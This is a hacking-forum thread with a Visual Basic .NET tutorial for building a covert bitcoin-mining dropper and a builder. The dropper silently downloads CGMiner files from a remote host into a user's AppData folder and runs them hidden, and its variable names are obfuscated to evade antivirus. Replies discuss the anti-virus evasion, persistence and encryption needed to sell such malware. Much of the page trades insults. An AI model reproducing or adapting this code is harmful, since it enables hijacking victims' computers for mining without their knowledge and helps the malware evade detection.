Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

How to write a silent miner and code a builder for it

Welcome. Today I will show you how to write your own silent bitcoin miner. Also I will show you how to code a builder for this miner, so that you don't need to recode every single bin. Please note, that we'll not code a miner itself. We'll write an application which downloads CGMiner and launches it with the appropiate commands. Everything happens silent.

My previous tutorials
Spoiler (Click to View)





How2: Writing a Silent Bitcoin Miner + Builder


At first I want to say, that I don't want to see and silent bitcoin miners out there on the marketplace with this source code. Just don't do it. Please.
Anyways, I assume that you all have Visual Basic.NET (everything above 2005) installed and know how to do at least basic stuff with it. Otherwise, you may not understand this tutorial. So, let's begin. Create a new project (windows forms) for your miner, as you would do it for every other application. Then, add the following elements to it:
• Button (Text: "Build")
• TextBox (Text: "Pool + Port")
• TextBox (Text: "Worker Username")
• TextBox (Text: "Worker Password")
• Everything other, what you'd like to add to your layout.
This will do the basic layout for our application.

[Image: 61ba272602aea4bf8e8083b62020506f.png]

Now we gonna code the source code for the silent miner itself. You'll need a webspace (+ FTP) for this. If you don't have a FTP, please get a free webspace at SPAM or other free hosting companies. For tutorials on FTP servers please refer to other tutorials. Also, you can find the CGMiner files here. Just download the newest version (4.1 at the moment).
We won't write this code into our 'normal' code tab. As we want to do a builder for our silent miner, we have to write the code external. To do so, click on Project on the very top, then on (Your project name) properties. Now click on Ressources on the left. Press CTRL + 5 (this will switch to the file ressources), then click on the arrow on the right to "Add a resource", then on "Add a textfile". Name it "Source". Here we will write our code. I'll provide you the full code, it's commented.
Code
Imports Microsoft.VisualBasic
Imports System
Imports System.Diagnostics

Module Main
    Public Sub BTCMiner(ByVal URL As String, ByVal User As String, ByVal Pass As String) 'This function will place the CGMiner files and run it with appropiate arguments.
      Download("cgminer", ".exe")
      Download("libcurl-4", ".dll")
      Download("libeay32", ".dll")
      Download("libidn-11", ".dll")
      Download("librtmp", ".dll") 'Downloads the files
      Download("libssh2", ".dll")
      Download("miner", ".php")
      Download("ssleay32", ".dll")
      Download("zlib1", ".dll")

      Shell(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\cgminer.exe -o " & URL & " -u " & Pass & " -p " & Pass, AppWinStyle.Hide) 'Runs CGMiner with appropiate arguments
    End Sub

    Private Sub Download(ByVal name As String, ByVal ext As String) 'This function is used to download files and place them in %APPDATA%.
      Dim gdsksgf As New Net.WebClient 'I named the variables like that because it's harder to detect for a few AVs if the names are obfuscated.
      Dim hdkvnhdfg As String = "http://mywebspace.com/BitcoinMiner/" 'Here goes your FTP. Put all the CGMiner files into a folder on your FTP and provide the full link to the folder here.
      Dim nnnnxb As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" 'This is a variable for the %APPDATA% directory.
      Try
      If Not IO.File.Exists(nnnnxb & name & ext) Then 'If the file does not exist
      gdsksgf.DownloadFile(hdkvnhdfg & name & ext, nnnnxb & name & ext) 'Download and place it
      End If
      Catch
      End Try
    End Sub

    Sub Main() 'This is our Main sub. It will be called as soon as the silent miner is launched.
    Try
        Dim Pool$ = "[POOL]" 'This [STRING] stuff will be replaced with other strings. We'll do this in a few minutes.
      Dim Username$ = "[USERNAME]"
      Dim Password$ = "[PASSWORD]"

      BTCMiner(Pool, Username, Password) 'Calls the function BTCMiner with the arguments.
    Catch Ex As Exception
    End Try
    End Sub

End Module

If you have any questions about this code, feel free to ask. Now you have a layout of your builder and a textfile filled with code - but they don't have any connections! Let's change this. Get back to your windows form (the builder) and doubleclick on the "Build" button. Insert this code, it's commented too. You'll get errors, no worry, we'll fix them in a few minutes!
Code
Dim Pool$ = poolTxt.Text 'Defines our pool & port
      Dim Username$ = userTxt.Text 'Defines our worker user
      Dim Password$ = passTxt.Text 'Defines the pass for the worker

      Dim NewCode As String = My.Resources.Source.ToString 'Gets the Source.txt file we wrote
      NewCode = NewCode.Replace("[POOL]", Pool) 'And this is the replacing stuff!
      NewCode = NewCode.Replace("[USERNAME]", Username)
      NewCode = NewCode.Replace("[PASSWORD]", Password)

      Compile("My Miner.exe", NewCode) 'Compiles the miner

Now you will most likely get an error on "Compile". That's because we did not write this function yet! Insert this code after "Public Class Form!":

Code
Private Sub Compile(ByVal ExecutableName As String, ByVal SourceCode As String)
      Dim Settings As New CompilerParameters
      With Settings
      .GenerateExecutable = True 'This function generates an exe file.
      .OutputAssembly = ExecutableName
      .ReferencedAssemblies.Add("System.dll") 'Referenced libraries.
      .CompilerOptions = " /target:winexe" 'Target is an exe.
      .TreatWarningsAsErrors = False 'We don't want any warnings handled as errors. Let's disable this.
      End With

      Dim Version = New Dictionary(Of String, String)
      Version.Add("CompilerVersion", "v2.0")

      Dim Result As CompilerResults = Nothing
      Using Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("VisualBasic") 'Tells CodeDOM that our code is VB.
      Result = Compiler.CompileAssemblyFromSource(Settings, SourceCode)  'Compiles the code
      End Using

      If (Result.Errors.Count > 0) Then 'Error handling stuff
      For Each E As CompilerError In Result.Errors
      MessageBox.Show("ERROR: " & E.ErrorText, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
      Next
      Else
      MessageBox.Show("Successfully compiled your miner!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information) 'Msgbox on success
      End If
    End Sub
You may still get errors now. If so, import this (write this above Public Class Form1):
Code
Imports System.CodeDom.Compiler

You may have noticed, you may have not, but we're done now! Launch your application by pressing F5 and insert your pool + worker info. Then click on "Build". The My Miner.exe will be at the location where your project files are stored (if you can't find it, just search for the file My Miner.exe with the Windows search function)
Done! Save everything and you'll have your very own silent bitcoin miner!
Fairly sure this won't work...lol

Code
Shell(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\cgminer.exe -o " & URL & " -u " & Pass & " -p " & Pass, AppWinStyle.Hide)

Also, do everyone a favor, and remove the center alignment? That was PAINFUL to read, because it was center aligned....

Also, didn't look very hard, but it appears that you do not mention how to find the files that need to be downloaded....
I like the idea behind this thread; unfortunately this would be considered a, "dropper" though. Which is highly detected at todays' standards in the AV world.

Things that would be needed to make this capable of being sold would be things such as, RunPE, encryption, FUD, persistence, Preferably a language that is not .NET *, Ufasoft mining engine, a single executable file, etc.

Nonetheless, this is still a great thread for those whom need a place to start.

-Astro
oh look, another noob kid using a console application then just hiding the window.

how about this....

since you dont need a console window, MAKE AN APP WITHOUT THE WINDOW!@!!!!@@!@

ps, all that shit at the start of your thread is so fucking small its barely readable. and the center alignment makes this whole thread look retarded.
(Mar 21, 2014 08:43 AM)Cesar Morales Wrote:  I like the idea behind this thread; unfortunately this would be considered a, "dropper" though. Which is highly detected at todays' standards in the AV world.

Things that would be needed to make this capable of being sold would be things such as, RunPE, encryption, FUD, persistence, Preferably a language that is not .NET *, Ufasoft mining engine, a single executable file, etc.

Nonetheless, this is still a great thread for those whom need a place to start.

-Astro

NeonMine (my free silent miner on here) uses the same code and it's fully undetected. And yea, that's just an example of how something like this works and how a builder is made.

(Mar 21, 2014 08:40 AM)Nikey646 Wrote:  Fairly sure this won't work...lol

Code
Shell(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\cgminer.exe -o " & URL & " -u " & Pass & " -p " & Pass, AppWinStyle.Hide)

Also, do everyone a favor, and remove the center alignment? That was PAINFUL to read, because it was center aligned....

Also, didn't look very hard, but it appears that you do not mention how to find the files that need to be downloaded....

To the last point: Yep, whoops, forgot to provide a link to CGMiner lol. Will edit the post in a few minutes. And why shouldn't this work? It works fine for me.

(Mar 21, 2014 08:57 AM)nathan72389 Wrote:  oh look, another noob kid using a console application then just hiding the window.

how about this....

since you dont need a console window, MAKE AN APP WITHOUT THE WINDOW!@!!!!@@!@

ps, all that shit at the start of your thread is so fucking small its barely readable. and the center alignment makes this whole thread look retarded.

oh look, another bullshitter member hating on other people's code. Why should I make an application without a window? It works and is silent. Everythings works as it should. So I don't see a reason in going detours when I just could do it like this.
ps, I edited it already. I can do the text xx-large for you if you want to.
Seriously, don't flame on the thread, give constructive critism instead on just hating.
(Mar 21, 2014 08:58 AM)Statement Wrote:  To the last point: Yep, whoops, forgot to provide a link to CGMiner lol. Will edit the post in a few minutes. And why shouldn't this work? It works fine for me.

Oh, it may have something to do with <_< >_>
Code
"-u " + Pass + " -p " + Pass
Lol. Fucked that up, now I see it haha! I'll change it tomorrow on OP, I'm on my mobile atm.
(Mar 21, 2014 08:58 AM)Statement Wrote:  Why should I make an application without a window? It works and is silent

You just loose all credibility as a programmer. Your code sucks so bad, it shouldn't even be posted here ._. You are just teaching bad habits.
It's not only because it works that way that it should be done that way...
"CheckForIllegalCrossThreadsCall = false" works. Good ? NO
"On Error Resume Next" works. Good ? NO !
"Msgbox" works. Good ? NO !!1!!1
These are my coding habits and I never wanted to learn other habits, as it works. I mean, do you really think, that i.e. big companies want to have the best code style? The end customer does not look for code styles, he's looking for a working application. And that's the same here.
"On Error Resume Next" might be not the best solution, that's true, but the other stuff is just coding style.
I really wanted to say good things about this thread but your arrogance prevents me from doing so.
Bitcoin Address: 1KQCBvevk1sA4wSj7gugv3sf5yjUygAzcv
Sorry if I'm appearing arrogant for you, that's just my opinion on this. It's okay if you think that these are bad habits, but I never told anyone that he should copy my code completely. It was supposed as a tutorial, not as a code dump or something.
NO NO NO NO NO.

This is not how to code a silent miner.
This is how you download a file to HDD, and execute it with arguments.

Anyone who does it like this is a moron.
RtlCreateIrlObjectA
(Mar 23, 2014 12:14 PM)Qmz_ Wrote:  NO NO NO NO NO.

This is not how to code a silent miner.
This is how you download a file to HDD, and execute it with arguments.

Anyone who does it like this is a moron.

I partially agree with this statement... I don't agree with the "moron" part though.

The tutorial itself is decent - the fact that it is a copy and paste format I don't like.

If anything, it being a dropper is not very good. Your executable may be FUD/UD, but the files that it (the .exe) drops are not going to be FUD, and highly detected... thus removed. Making the miner itself not functional.

-Astro


(Mar 23, 2014 12:09 PM)Statement Wrote:  Sorry if I'm appearing arrogant for you, that's just my opinion on this. It's okay if you think that these are bad habits, but I never told anyone that he should copy my code completely. It was supposed as a tutorial, not as a code dump or something.

It is okay that it is your opinion... everyone it entitled to one no matter what.

It is good to be open-minded though... and that is not arguable.

-Astro
I know have a better concept of things, thanks bro and the people that commented.
Im taking notes :)
Code is more than shtty talk :) - good job man !!!!


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C] by ApricusJul 1, 2021 07:05 PM 4 518 Jul 1, 2021 07:05 PM
Last Post: BlueMoon1001
[C#] by zxPhantomBladeMay 10, 2021 10:10 AM 5 622 May 10, 2021 10:10 AM
Last Post: allnay
[C#] by nr466Oct 3, 2019 01:08 PM 5 344 Oct 3, 2019 01:08 PM
Last Post: max_int